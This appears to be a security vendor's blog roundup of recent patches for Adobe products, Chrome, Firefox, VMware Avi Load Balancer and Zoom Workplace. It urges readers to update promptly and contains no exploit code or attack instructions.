Flock is still marketed as a public-safety tool, but the latest reporting shows its real-world impact is increasingly defined by privacy concerns, weak oversight, and growing institutional skepticism. That skepticism is beginning to influence agency decisions. Once law enforcement itself begins pulling back, it suggests the debate has moved well beyond criticism from privacy advocates alone.

Browse like no one’s watching. 

Malwarebytes Privacy VPN encrypts your connection and never logs what you do, so the next story you read doesn’t have to feel personal. Try it free → 

Security updates are not just for enterprises with a dedicated security team and a change-management calendar. For consumers and small businesses, they are one of the simplest ways to shut down known attack paths before criminals get a chance to use them.

That matters because attackers love these flaws. because browser bugs, code execution issues, authentication bypasses, and privilege-escalation problems can be turned into a foothold, a data theft opportunity, or a full system compromise if left unpatched.

If you only do one thing after reading a security advisory, make it this: update the affected software promptly, restart when required, and verify the version afterward.

Adobe

Adobe released a large batch of security updates covering ColdFusion, Commerce/Magento Open Source, and Experience Manager. The ColdFusion bulletin alone includes multiple critical flaws that could lead to arbitrary code execution.

The updates and instructions can be found on the pages we linked to.

Chrome

Google patched 15 security flaws in Chrome, including two critical use-after-free bugs in Ozone. The fixes are in Chrome 150.0.7871.124/.125, depending on platform.

You can find an explanation of the version numbering system and step-by-step instructions in our guide to how to update Chrome on every operating system.

Firefox

Mozilla fixed two critical Firefox flaws in Firefox 152.0.6, and it says public exploit code exists for both issues. One affects JavaScript/WebAssembly and the other involves DOM navigation and site isolation, which makes this more than routine housekeeping.

Users should update Firefox to version 152.0.6 as soon as possible. For most users this can simply be done by restarting the browser. If you see the “What’s new” tab, the update is complete.

VMWare

Broadcom released a fix for a critical authentication bypass in VMware Avi Load Balancer, tracked as CVE-2026-47865. The issue could allow a network-accessible attacker to reach the Avi Control Plane, which makes it especially important in environments that expose management services or rely on load balancers at the edge.

Updates and the instructions to apply them can be found in the Security Advisory.

Zoom

Zoom Security Bulletin ZSB-26014 covers a critical issue in Zoom Workplace for Windows, described as improper input validation. The public record identifies the issue as CVE-2026-53412.

For users, the action item is to update Zoom Workplace for Windows to the vendor-fixed release as soon as it is available in your environment. For small businesses, that means updating not just the app on employee laptops, but also any centralized deployment package so the old build doesn’t come right back on the next install cycle.

“One of the best cybersecurity suites on the planet.” 

According to CNET. Read their review →